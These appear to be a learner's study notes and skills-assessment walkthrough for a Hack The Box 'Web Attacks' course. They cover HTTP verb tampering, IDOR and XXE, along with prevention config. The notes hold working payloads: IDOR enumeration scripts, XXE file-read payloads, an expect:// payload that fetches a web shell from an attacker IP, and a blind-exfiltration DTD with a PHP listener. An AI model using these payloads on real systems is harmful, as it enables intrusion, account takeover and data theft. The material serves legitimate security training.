Introduction to Web Attacks


This section is simply a recap of the incoming topics.

HTTP Verb Tampering

Intro to HTTP Verb Tampering


As mentioned in Web Requests HTTP Method section, we can try to exploit other methods to achieve an otherwise blocked request.

  1. For example POST could be subject to authorization check but not PUT since it is not in use (or expected to be) and therefore might be accepted by the server.

  2. Other than authorization the server might apply sanitization or filtering only on requests that match the expected Verb.

Bypassing Basic Authentication


As explained before, changing method could be used to bypass authorization or auth. This section covers a specific situation that involves a bad practice in the first place :

The web app uses a GET request to perform an altering server state action (should use DELETE in this case) by triggering a reset functionality. As a consequence, any parameter sent (here there is none) are going through the URL and no body is required.

  1. Changing the request to POST might circumvent verifications (not the case). An option exists in Burpsuite to quickly modify a request method from GET > POST.

  1. Trying other verbs could trigger the action regardless (like HEAD).

Careful of same path different verbs

While trying for this be mindful of existing path who already possess different verbs. You should try to identify all functionalities before testing a verb that might trigger an other behavior you didn’t expect, especially with PUT, DELETE, POST.

Questions

Bypassing Security Filters


The methodology and reasoning is the exact same as previously but instead of bypassing authentication it is used to circumvent existing filters.

Questions

Verb Tampering Prevention


This part is quite interesting on many standpoints. We get examples of insecure codes for various config files (shown below) which shows the importance of information disclosure notably on these resources.

As an attacker, thorough reading and comprehension of such files can allow us to identify other vulnerabilities. This section is also very valuable on the remediation aspect. Even though missing context can prevent you from giving the most accurate resources for remediating a problem, this section give some insight on which solutions to provide for the client more than simply “fix this”.

Apache

  • 000-default.conf
  • .htaccess.
<Directory "/var/www/html/admin">
    AuthType Basic
    AuthName "Admin Panel"
    AuthUserFile /etc/apache2/.htpasswd
    <Limit GET>
        Require valid-user
    </Limit>
</Directory>

This config uses Limit instead of leveraging LimitExcept. Check this documentation Apache limit keyword and Apache limitExcept keyword.

TomCat

  • web.xml.
<security-constraint>
    <web-resource-collection>
        <url-pattern>/admin/*</url-pattern>
        <http-method>GET</http-method>
    </web-resource-collection>
    <auth-constraint>
        <role-name>admin</role-name>
    </auth-constraint>
</security-constraint>

Same principle applies here for the config file by using http-method-omission and not http-method.

ASP.NET

  • web.config.
<system.web>
    <authorization>
        <allow verbs="GET" roles="admin">
            <deny verbs="GET" users="*">
        </deny>
        </allow>
    </authorization>
</system.web>

Use add/remove keywords for proper implementation of verifications.

Good practices

Retrieval of input from users should use the generalistic request keyword instead of a specific verb unless the context requires otherwise. Apply the principles for which verbs have been created (check RFC).

Insecure Direct Object References (IDOR)

Intro to IDOR


TL;DR

Direct Object references is not a vulnerability. The weak access control system tied to this family of object is. IDOR can lead to Information Disclosure and in some case have a greater impact (suppose a specific id can allow to reach administrative functions).

Identifying IDORs


URL Parameters & APIs

Check all URL and API calls parameters to identify if some predictable values can be identified. They usually standout when you work with the application context as you associate to each important requests their functions.

AJAX Calls

If function calls are too exposed to the user (understand ones who trigger to send requests to the server, including supposedly restricted ones) you can identify sensitive ones and try to use them. manually, test for Broken Authentication vulnerabilities…

Hashing / Encoding

When scouting for identifiable parameters format we should be aware of encoded or hashed content. We can easily apply transformation on existing fuzzing wordlists to process the same operation and try to reach for resources.

Compare User Roles

When working on an application where we can use different user roles, we should try to test each requests with different privilege to ensure no user has access to unauthorized content.

Auth analyzer is an amazing tool to setup this time consuming process by repeating the requests done on the active session with different parameters such as session cookies, inserting specific body parts …

Mass IDOR Enumeration


Leveraging simple id enumeration can get us some unintended information from other user / roles …

HTB provides an example in which changing an id parameter allow to view in the response the documents associated to the id. We can automate this in Burp, using bash etc…

Provided example :

#!/bin/bash
 
url="http://SERVER_IP:PORT"
 
for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done

Questions

Bypassing Encoded References


The parameter principle can be applied on encoded values, hash etc.. if we’re able to input a parameter and get a resulting hash, we can check if the name is kept and then fuzz over existing name by using a wordlist and hashing each value before inserting.

The given scenario also reminds the importance of examining front-end javascript and if necessary going through JavaScript Deobfuscation. Filename can be processed server-side which would make our exploit harder or unfeasible, but if anything is done front-end we can simply replicate the behavior.

Example given :

function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}
#!/bin/bash
 
for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done

Questions

IDOR in Insecure APIs


We discussed APIs previously, notably REST APIs. IDOR can be exploited not only for accessing information but modifying one as we saw. This can be done on PUT/POST requests (usual but realistically it can be done with almost all verbs) …

Example of PUT request potentially vulnerable to IDOR :

The 3 last parameters are the content that should be changed. We can see that :

  • uid matches the URL path in the API
  • the role is both in the cookie and JSON
  • The uuid looks like an MD5 (32char long, hex)

We can try to change each parameters individually or replacing both values (eg. changing uid and path ; role and cookie …). Even if modifying request might be correctly checked for authorization, checking the other verbs like GET can reveal information like the uuid in this case.

Careful of same path different verbs pt2.

This is particularly valid for REST APIs. Access control should be verified on all verbs for request since they can be easily overlooked during implementation as the size of a server functionalities and API calls expands.

Questions

Chaining IDOR Vulnerabilities


Same process as the previous section. We saw the role “employe” previously but we would need to create a custom wordlists to try to fuzz over this parameter. Instead we can try to find new role values through the first IDOR by enumerating user over the API call through GET.

Burp Intruder can easily flag the values if we specify them :

Findings can be used to replace our cookie (which could also be through a vulnerable JWT etc…) to gain privilege. Not only we might be able to create new users but also delete or modify existing ones.

Questions

IDOR Prevention


Even though HTB provides guidelines, RBAC models tends to share a similar skeleton but a lot of contextual subtleties regarding the application environment. The general rules is each request handler should have a matching verification as a first step :

Example of access control verification :

match /api/profile/{userId} {
    allow read, write: if user.isAuth == true
    && (user.uid == userId || user.roles == 'admin');
}

Debatable topic

When dealing with exposed parameters make sure to prevent user to get any information thanks to their value. This was an interesting subject I’ve talked with colleagues where we argued over the importance of using UUID V4.

  • The reasoning against it was it would be pointless if you have a good access control. Wether or not you can try to enumerate doesn’t change anything if the user can’t access it. The point on which we agreed is UUID V4 is not the remediation in itself, RBAC is. Though it doesn’t mean UUID shouldn’t be used.

I would say it still has some relevance simply because an attacker could tell if specific id exists depending on the server response status code (not found or unauthorized).

It could be used to define which part of a server is under restricted access, which is not a vulnerability by itself but still additional context.

HTB example of UUID implementation with DB query :

$uid = intval($_REQUEST['uid']);
$query = "SELECT url FROM documents where uid=" . $uid;
$result = mysqli_query($conn, $query);
$row = mysqli_fetch_array($result);
echo "<a href='" . $row['url'] . "' target='_blank'></a>";

XML External Entity (XXE) Injection

Intro to XXE


File upload attacks module already partially introduce to XXE.

KeyDefinitionExample
TagThe keys of an XML document, usually wrapped with (</>) characters.<date>
EntityXML variables, usually wrapped with (&/;) characters.&lt;
ElementThe root element or any of its child elements, and its value is stored in between a start-tag and an end-tag.<date>01-01-2022</date>
AttributeOptional specifications for any element that are stored in the tags, which may be used by the XML parser.version="1.0"/encoding="UTF-8"
DeclarationUsually the first line of an XML document, and defines the XML version and encoding to use when parsing it.<?xml version="1.0" encoding="UTF-8"?>

Understanding XML :

  • element trees structure
  • tag for each element
  • first one is the root element

These points can be defined in the DOCTYPE (Document Type Definition or DTD) in the start of the document :

<!DOCTYPE email [
  <!ELEMENT email (date, time, sender, recipients, body)>
  <!ELEMENT recipients (to, cc?)>
  <!ELEMENT cc (to*)>
  <!ELEMENT date (#PCDATA)>
  <!ELEMENT time (#PCDATA)>
  <!ELEMENT sender (#PCDATA)>
  <!ELEMENT to  (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>

XML Entities are the equivalent of variables in DTDs declared with the ENTITY keyword. Entities can be called with the name preceded with &. The most common exploitation is to use external entities using SYSTEM / PUBLIC to access files content or even command execution.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "http://localhost/company.txt">
  <!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>

Local File Disclosure


Identifying

The obvious pre-requisite is to find XML content used from the server. If XML data is sent through POST/PUT … requests we need to test for an XXE. To do so we can insert an ENTITY in the DTD. Expected behavior is to define it under the correct tag like :

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY example "Testing for XXE">
]>
<root>
<email>&example;</email>
</root>

Note

Defaulting to JSON format in HTTP request may still accept other formats, including XML. Check json-to-xml tool to adapt requests.

Reading Sensitive Files

Using SYSTEM and file:// protocol to access local files

<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

PHP filter helps retrieving files that could break XML because of the presence of < > & characters.

PHP can be used if the server is running it and has the option enabled :

<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

Remote Code Execution with XXE

If PHP expect module is enabled on the server, it is possible to execute commands through the XXE and get the output if it’s reflected in the response. This scenario is not common as updated PHP version disable the expect module by default.

The best solution remains to make the server fetch a web shell and write it as a file with tool that are commonly available such as curl, wget. To do so we’ll serve it to the server directly.

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

Using $IFS (my precious) again to avoid breaking the XML input. Avoid |, {, > characters.

Other XXE Attacks

XXE can be used to exploit SSRF like in this Portswigger lab. So far we mentioned file:// and expect:// but http:// can be really useful to target internal resources.

XEE (XML Entity Expansion) is a Denial of Service vulnerability in which you exponentially referencing entities until the server runs out of memory. Modern web servers are protected against self-reference.

Questions

Advanced File Disclosure


Using CDATA for exfiltration

CDATA tag allow to declare a content that should not be parsed as XML (we can insert content with breaking characters). Note that CDATA isn’t an ENTITY so we can’t insert it directly. To leverage CDATA we have to play with how everything is inserted in the document.

  1. <!ENTITY begin "<![CDATA["> Allows to insert the beginning of our tag.
  2. <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php"> Use the SYSTEM keyword to read our file inside the CDATA tag.
  3. <!ENTITY end "]]>"> Close the opened CDATA tag.

However, XML doesn’t support joining internal and external entities. Here begin, end (and joined) are internal entities. This payload won’t work :

<!DOCTYPE email [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>

Explanation of previous statement

I was skeptical upon reading this logic during the section and couldn’t find anything really relevant that goes in the same direction of the statement. I finally got something interesting that could explain it properly in the W3.org XML documentation

The workaround for this constraint is to use only external entities. Here the is the joined entity (internal) is calling file entity (external) and the parser cannot ensure the resulting output will be a valid XML format. To avoid this behavior we have to make the joined entity external as well since the XML format will process it as a single string.

We then can build the .dtd file locally and serve it to the server. Calling it inside the DTD as a parameter entity allows to call it in an element afterwards.

Example payload to extract a file without breaking XML using external entity, CDATA and parameter entity :

Content to serve to the server :

<!ENTITY joined "%begin;%file;%end;">
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> 
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> 
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://hosted_attack_server/file.dtd">
  %xxe;
]>
<email>&joined;</email>

This section has a note explaining this might not work if we’re trying to reach a file that is currently in use by the server. This is a countermeasure to avoid self calling resources that might loop in server frameworks, not an XML problem.

Error Based XXE

(Not specific to XXE) Verbose errors should always be tested to reveal unintended information. If we don’t get an output on our vulnerability we can send a voluntarily malformed request with breaking tags (invalid tags name, unclosed tags), invalid entities. The same way we did previously, we want to serve externally our resource in order to avoid XML parsing rules but still trigger our error.

This time we’ll put the file we want to read along the invalid entity :

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % hello "<!ENTITY content SYSTEM '%invalid;/%file;'>">

Questions

Blind Data Exfiltration


The same way we would trigger out-of-band XSS, SQLi, SSRF etc… Here we’ll send the content of the retrieved content from our payload back to ourselves on a listener.

Blind always can be prone to a wrong payload or unknown processing server-side. The same process we exploited using CDATA can be exploited on our own server first, trigger the XXE and retrieve the output to our listener.

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % retrieve "<!ENTITY content SYSTEM 'http://attack_server:8000/?content=%file;'>">

Simple php server to render the output directly in the terminal :

<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

XXEinjector is an old tool and not maintained but it does the work done.

Questions

XXE Prevention


Up to date XML parsing libraries are not vulnerable to XXE by default. Make sure your server has

  • disabled DTDs
  • disabled external entities
  • disabled parameter entity processing
  • disabled XInclude support
  • disabled Entity Reference Loops

Skills Assessment

Web Attacks - Skills Assessment


Given the credentials htb-student:Academy_student! we can login into the application. The only interesting feature is under settings.php giving a reset password functionality.

Identifying IDORs

The front-end php content exposes the reset workflow but you can visualize it through the HTTP history in Burpsuite upon triggering a reset. We observe there’s an API implementation that fetches token from a session using the cookie for specifying the id.

We have our first vulnerability as there is an IDOR and no proper access control, allowing to obtain the other users token (we don’t know their username). This first information will allow us to try to change other users’ password using the functionality that is meant for ourself initially.

Changing account’s password

If we try to simply change the token in the request we’ll get an Access Denied reply (although we have a 200 status code anyway). Changing the request from POST to GET and inserting our body parameters in the URL bypass the access control, successfully changing any ID account to an arbitrary password.

Now we are able to enumerate all ids and change their password. Only remaining thing is to find a privileged account and compromise it. Note that we currently don’t know the associated username to each id which is something we can try to fuzz if we can’t figure it out. Turns out the API not only has an endpoint for token but a better one for USERS. This one gives us the complete profile information including the username (but not the token), so we’ll fuzz over this directly :

It goes for 100 users. I confirmed I could login to an other account by changing it’s password however so there must be something I missed.

Testing JSON to XML and XXE errors

Before finding the administrator account I tried to exploit the API by using the given information from the GET /user/{id} endpoint and making a POST request with custom information. The server would only return a 0 from POST request and 1 from others (PUT/DELETE) but I couldn’t see any difference.

I also tried changing the JSON to XML and triggering an error, out-of-band reply but didn’t trigger anything. Going back to admin findings.

Admin account compromision

Filtering with Grep match I inserted “admin” which was flagged in the company name with this JSON data.

GET /api.php/user/52 user endpoint :

{
  "uid": "52",
  "username": "a.corrales",
  "full_name": "Amor Corrales",
  "company": "Administrator"
}

GET /api.php/token/52 token endpoint :

{
  "token": "e51a85fa-17ac-11ec-8e51-e78234eb7b0c"
}

Now we can repeat the password change process and take over the admin account. In real circumstances it would depend on the environment. Don’t do that on production and call the intermediary responsible for the mission, and if you are allowed to use a strong password.

First thing to notice is the event functionality that is not on the usual user profile. If we try to add one we’ll immediately notice an XML content being sent to the server. It’s XXE time. The server response contains “Event Name” when rendered in the HTML content so we can try to obtain an output on the <name> tag.

XXE to file disclosure

The legitimate request looks like this

By adding a DTD with the external entity we confirm the presence of an XXE :

<!DOCTYPE name [
<!ENTITY mannagia SYSTEM "file:///etc/passwd">
]>
            <root>
            <name>&mannaggia;</name>
            <details>Event Details</details>
            <date>2026-01-01</date>
            </root>

The server returns the content of the file. Now we can try to serve a shell.php and get a webshell to observe how far can we push the vulnerability or read the flag. I tried to use expect without success, and http scheme left me in waiting indefinitely. However as soon as I tried using the php filters and base64-encode I got the flag.